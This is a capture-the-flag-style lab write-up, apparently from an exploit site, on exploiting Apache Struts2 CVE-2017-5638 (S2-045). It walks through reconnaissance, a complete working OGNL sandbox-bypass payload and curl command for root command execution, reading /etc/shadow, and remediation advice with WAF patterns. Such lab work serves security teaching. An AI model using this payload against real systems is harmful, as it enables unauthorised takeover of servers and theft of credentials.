Share
## https://sploitus.com/exploit?id=8AD0C10E-3D18-5596-B029-DD228C1F9B3A
# LAB 1 โ€” Apache Struts2 OGNL Injection (CVE-2017-5638 / S2-045)

# **I. SYSTEM ANALYSIS**

### **Attack Surface Analysis**

![image.png](image.png)

After starting the container, Struts2 logs show that the application loads familiar configuration files such as **struts-default.xml**, **struts-plugin.xml**, and **struts.xml**. This confirms that the framework in use is **Apache Struts2**.

![image.png](image%201.png)

A notable point lies in the line:

`Choosing bean (jakarta) for (org.apache.struts2.dispatcher.multipart.MultiPartRequest)`

This line indicates that Struts2 is choosing the **Jakarta multipart parser** (**multipart upload data analyzer**) to handle requests of type `multipart/form-data`, which is commonly encountered in file upload functionality.

This is a crucial signal when analyzing **S2-045 / CVE-2017-5638**, **since this vulnerability is related to the process where Struts2 handles errors when parsing multipart requests, especially with an invalid Content-Type header.**

However, this log only proves that the application uses Struts2 and a Jakarta-style multipart handler. It is **not yet sufficient to conclude that the application is definitely vulnerable**. To confirm, we need to determine the version of `struts2-core` and compare it against the affected version range.

![image.png](image%202.png)

![image.png](image%203.png)

![image.png](image%204.png)

When accessing the web service using `curl`, the response headers show that the application is running on **Jetty 9.2.11.v20150529**. This information helps identify the environment running the application (**servlet container**), but does not directly reveal the version of Struts2.

The web interface returns the **Struts2 Showcase - Fileupload sample** page, with an upload form using:

`method="POST"
enctype="multipart/form-data"
action="/upload.action"`

This matches the earlier log where Struts2 chose `jakarta` for `MultiPartRequest`: the application indeed has a file upload handling flow via **multipart/form-data**.

โ‡’ **Thinking**: The endpoint `/upload.action` uses `multipart/form-data`, matching the mechanism Struts2 processes via `Jakarta MultiPartRequest`. This is a sign that **strengthens the suspicion** of **S2-045/CVE-2017-5638**, but we need to determine the Struts2 version before concluding the application is vulnerable. Next, deeper verification is still needed regarding the **version** of `struts2-core` **and how the application handles errors when receiving an invalid Content-Type**.

### **Determining Struts2 Version**

After identifying that the application has an **upload endpoint using multipart/form-data**, the next analysis step is to find the actual version of Struts2. This is crucial because previous signs only **showed** that the application **has a mechanism related to multipart upload**, which is **not yet sufficient to conclude it is vulnerable**.

![image.png](image%205.png)

After identifying the correct container serving **Endpoint** 8001, checking the libraries is performed directly inside the container **project1-lab01-1**.

The result found the `struts2-core` file:

`/root/.m2/repository/org/apache/struts/struts2-core/2.3.30/struts2-core-2.3.30.jar`

From this path, we can determine that the application is using **Apache Struts2 2.3.30**.

![image.png](image%206.png)

Comparing this with the published **CVE-2017-5638 / S2-045** vulnerability, it affects many older Struts2 versions, including the `2.3.x` branch before the patch. When combined with:

`Framework: Apache Struts2
Version: 2.3.30
Multipart parser: Jakarta
Endpoint: /upload.action
Content-Type: multipart/form-data`

The analysis condition chain becomes clearer:

`Struts2 Version 2.3.30 ContentType: text/plain
FileName: test.txt
File: /usr/src/target/tmp/upload_...
Caption:test`

โ‡’ A valid request proves that `/upload.action` indeed goes through the **multipart upload** mechanism because **curl -F generates multipart/form-data and the server can parse each part of the request**.

### **Verifying Reaction When Multipart Request Fails**

![image.png](image%208.png)

![image.png](image%209.png)

After sending a request declaring **Content-Type as multipart/form-data** but with a **body that does not conform to the multipart structure**, **the server still returns HTTP 200 OK**. However, the ContentType, FileName, File, and Caption fields are all empty. Checking the Docker logs, we notice that there is no boundary (**separator string between parts in multipart**), and the client still receives HTTP 200 OK. However, **Struts2 actually** `encountered an error` while processing the request.

This proves the chain of evidence:

`Faulty multipart request
โ†’ Struts2 wraps request
โ†’ MultiPartRequestWrapper is called
โ†’ JakartaMultiPartRequest parses request
โ†’ FileUploadException due to missing boundary`

โ‡’ Matches the components related to **S2-045/CVE-2017-5638**. Thus, the condition chain is more complete: **vulnerable version, Jakarta parser, upload endpoint, and the faulty request** goes into the **correct multipart processing branch**.

The critical point of **S2-045/CVE-2017-5638** **does not only** lie in the `multipart parser` failing. The parser error is just the **initial triggering condition**. The dangerous part lies in how **Struts2 subsequently handles the error message**. **With affected Struts2 versions**, when the `multipart parser` encounters an error, the error content can be fed into the Struts2 message handling mechanism. If an attacker controls part of the data appearing in the error, especially from the `Content-Type` header, that data can be evaluated by Struts2 via OGNL (**Object-Graph Navigation Language - the expression language of Struts/XWork**).

Thinking:

`Anomalous Content-Type
โ†’ Jakarta multipart parser parsing error
โ†’ Struts2 generates/logs error message
โ†’ error message goes through expression evaluation mechanism
โ†’ if malicious OGNL is present, it can lead to RCE`

---

# **II. EXPLOITATION**

Identifying that the target uses Struts2, and since Struts2 uses OGNL as its expression engine, searching on PayloadsAllTheThings shows that injecting `new String(@java.lang.Runtime@getRuntime().exec("id").getInputStream().readAllBytes())` into Struts2 **will fail** because Struts2 has a **sandbox** that blocks access to `java.lang.Runtime`.

![image.png](image%2010.png)

โ‡’ **Assemble** the found payload into the Struts2 exploitation structure:

**Trigger Jakarta Parser** 

```
(#_="multipart/form-data")
```

**Bypass Struts2 Sandbox (Required)**

```
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm))))
```

**Command Execution Payload**

```
(new java.lang.String(@java.lang.Runtime@getRuntime().exec("id").getInputStream().readAllBytes()))
```

**However, when executing the payload in practice, we encounter two issues:**

1. **Java Version Error:** The lab server runs Jetty 2015 (Java 8), while the `readAllBytes()` function is only supported starting from Java 9. If we persist in using it, OGNL will silently fail and return a blank HTML page. This is resolved by switching to use the `IOUtils` class from the `org.apache.commons.io` library (always available in Struts2) to read the stream.
2. **Output Filtering:** Even though the command has executed, embedding the result directly into the HTML stream can break the structure or get filtered. This is resolved by directly accessing the `HttpServletResponse`, using `getWriter().println()` to print the output first, and then calling `flush()` and `close()` to immediately terminate the connection. This forces the server to return the clean command execution result, bypassing all the junk HTML interface.

**โ‡’ Reassembling the above modifications, we get the complete curl command (using ProcessBuilder + IOUtils + Response Writer):**

```bash
curl -i -s -X POST "http://192.168.3.137:8001/doUpload.action" \
-H 'Content-Type: %{(#_="multipart/form-data").(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd="id").(#iswin=(@java.lang.System@getProperty("os.name").toLowerCase().contains("win"))).(#cmds=(#iswin?{"cmd.exe","/c",#cmd}:{"/bin/bash","-c",#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().println(#ros)).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().flush()).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().close())}' \
-d "foo=bar"
```

![image.png](image%2011.png)

**Exploitation Successful!!!**

Although we achieved RCE with root privileges, each command has to be sent via a separate HTTP request, providing a non-interactive environment. A Reverse Shell allows establishing a persistent session, directly interacting with the target system as if sitting in front of the machine, serving information gathering and deeper post-exploitation.

---

# **III. POST-EXPLOITATION**

**Privilege Verification**

After successful exploitation, verify the privileges on the system:

```
uid=0(root) gid=0(root) groups=0(root)
```

โ†’ The application runs with **root** privileges โ€” no privilege escalation is needed.

**Sensitive Data Gathering**

Read the `/etc/shadow` file (the file containing password hashes, which only root has permission to access):

![image.png](image%2012.png)

โ†’ Proves that the attacker has full read/write access to the system files, including the most sensitive ones.

**Note on Reverse Shell**

The reverse shell establishment was unsuccessful because the Docker container on Windows uses an internal network (bridge/NAT); the container cannot connect back to the attacker's machine (Kali) on the local LAN. However, this does not affect the severity of the vulnerability โ€” the attacker achieved RCE with root privileges and can execute any command on the system.

---

# **IV. RISK ASSESSMENT & REMEDIATION**

### **Risk Assessment**

The OGNL Injection vulnerability (CVE-2017-5638 / S2-045) on this system is assessed at the **highest risk** level:

| **Criteria** | **Assessment** | **Details** |
| --- | --- | --- |
| **CVSS Score** | **10.0 (Critical)** | Maximum absolute score. |
| **Authentication** | Not Required | The attacker does not need an account or to be logged in to exploit this. |
| **Complexity** | Very Low | Only requires sending a **single** HTTP Request (POST) containing the payload in the `Content-Type` header. |
| **Privileges Gained** | `root` | Full control over the application/container at the highest privilege level, with the ability to read/write any file (such as `/etc/shadow`). |
| **Lateral Movement** | High | From the compromised container, the attacker can scan the internal network (LAN) and attack other containers or host servers. |

### **Remediation Recommendations**

To completely remediate this vulnerability, the system administration and development teams should implement the following measures (ordered by priority):

**Urgent Priorities (Short-Term):**

1. **Upgrade Apache Struts2:** Immediately update the framework to a secure version (โ‰ฅ 2.3.32 or โ‰ฅ 2.5.10.1). This is a mandatory measure since the vulnerability resides in the core implementation of the `JakartaMultiPartRequest` library.
2. **Demote Execution Privileges:** Never run web applications (Jetty/Tomcat) under the `root` user. A dedicated user (e.g., `struts_user`) should be created with the minimal privileges necessary to run the application.

**High Priorities (Long-Term & Defense-in-Depth):**

3. **Deploy a WAF (Web Application Firewall):** Configure WAF rules to detect and block HTTP Requests containing OGNL payloads (e.g., `%{...}`, `${...}`, `ognl`, `java.lang.ProcessBuilder`) in the `Content-Type` header.
4. **Change Multipart Parser:** If the application is not required to use the Jakarta Parser, consider switching to an alternative library such as `Pell` or `COS` in the `struts.xml` configuration file (`struts.multipart.parser=cos`).
5. **Restrict Container Networking:** Do not keep the container on a shared bridge network unless necessary. Configure firewall rules to block the container from actively initiating outbound connections (Outbound traffic) to the Internet to prevent reverse shells.